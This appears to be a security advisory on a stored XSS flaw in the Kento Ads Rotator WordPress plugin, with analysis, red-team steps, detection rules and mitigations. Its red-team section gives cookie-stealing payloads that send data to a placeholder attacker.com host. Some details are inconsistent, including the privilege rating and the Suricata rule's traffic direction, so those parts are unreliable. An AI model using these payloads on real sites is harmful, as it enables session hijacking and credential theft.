CVE-2024-51583

Executive Summary

CVE-2024-51583 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Kento Ads Rotator (kento-ads-rotator) by Pluginspoint, affecting versions up to and including 1.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into ad rotator entries. When a site administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing high privileges required but low attack complexity. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. This report provides detection rules, exploitation analysis, and mitigation guidance for defenders.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not managed through NPM, PyPI, Go, or Ruby ecosystems. However, as a WordPress component, it is part of a larger supply chain where site administrators must manually update plugins. The lack of a patch means that all installations of Kento Ads Rotator <= 1.3 are at risk. Organizations should inventory their WordPress plugins and consider removing or replacing this plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker needs contributor-level or higher WordPress account.
• User Interaction (UI): Required – The victim must visit the page containing the malicious ad.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. Exploitation requires authenticated access, but once injected, the stored XSS can persist and affect multiple users, including administrators. The lack of a patch increases the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability exists in the kento-ads-rotator plugin, which allows users to create and manage ad rotator blocks. The plugin fails to sanitize or escape user input when saving ad content (e.g., ad title, description, or custom HTML). When an authenticated user with contributor-level privileges or higher creates or edits an ad rotator entry, the input is stored directly in the WordPress database without proper neutralization. Upon rendering the ad rotator on a front-end page, the unsanitized input is output as HTML/JavaScript, leading to Stored XSS.

The attack flow:

1. An attacker with a contributor account (or higher) logs into the WordPress admin panel.
2. The attacker navigates to the Kento Ads Rotator editor and inserts a malicious payload, such as <script>alert('XSS')</script>, into a text field (e.g., ad title).
3. The plugin saves the payload to the database without sanitization.
4. When a site visitor (including an administrator) loads a page that displays the ad rotator, the payload executes in their browser.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding or input validation in the plugin’s rendering functions.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and the expected fix.

Vulnerable Code (kento-ads-rotator <= 1.3):

// In a function that outputs ad content
echo '<div class="kento-ad">' . $ad_title . '</div>';

The $ad_title variable is taken directly from the database without escaping.

Expected Patched Code:

echo '<div class="kento-ad">' . esc_html( $ad_title ) . '</div>';

The esc_html() function escapes HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with Kento Ads Rotator <= 1.3 installed and activated.
• A user account with at least contributor privileges.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Kento Ads Rotator > Add New.
3. In the Ad Title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the ad rotator entry.
5. As an administrator or other user, visit a page that displays the ad rotator. The script executes, sending cookies to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor WordPress admin logs for unusual ad rotator creation or editing by low-privilege users.
• Use web application firewall (WAF) rules to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for suspicious entries in the wp_postmeta or plugin-specific tables containing <script> tags.
• Review server access logs for requests to /wp-admin/admin.php?page=kento-ads-rotator from non-admin IPs.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may vary)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the WordPress server.
  • HTTP POST requests to /wp-admin/admin-ajax.php with XSS payloads in the action or data parameters.
• Database Indicators:
  • Rows in wp_postmeta or plugin-specific tables containing <script>, onerror, onload, or javascript: strings.
• Log Indicators:
  • WordPress debug log entries showing kento-ads-rotator errors or warnings.
  • Web server logs with %3Cscript%3E (URL-encoded <script>) in POST data.

Detection Engineering

YARA Rule

rule CVE_2024_51583_Kento_Ads_XSS {
    meta:
        description = "Detects stored XSS payloads in Kento Ads Rotator plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51583"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "kento-ads-rotator"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Kento Ads Rotator Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Kento Ads Rotator plugin
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51583
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'kento-ads-rotator'
        cs-uri-query|contains|windash: 'action=save'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in ad content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51583 Stored XSS in Kento Ads Rotator"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Kento Ads Rotator from all WordPress installations until a patch is released.
2. Review user accounts – Audit all users with contributor-level or higher privileges. Remove any suspicious accounts.
3. Scan for compromise – Use the YARA and Sigma rules above to check for existing XSS payloads in the database and logs.

Long-Term Mitigation:

• Replace the plugin with an alternative ad rotator solution that is actively maintained.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce Content Security Policy (CSP) headers to restrict inline script execution.
• Regularly update all WordPress plugins and themes.
• Conduct periodic security audits of WordPress installations.

Vendor Contact:

• Since the vendor (Pluginspoint) has not responded, consider reporting the vulnerability to the WordPress Plugin Review Team for potential removal from the repository.

Valters IT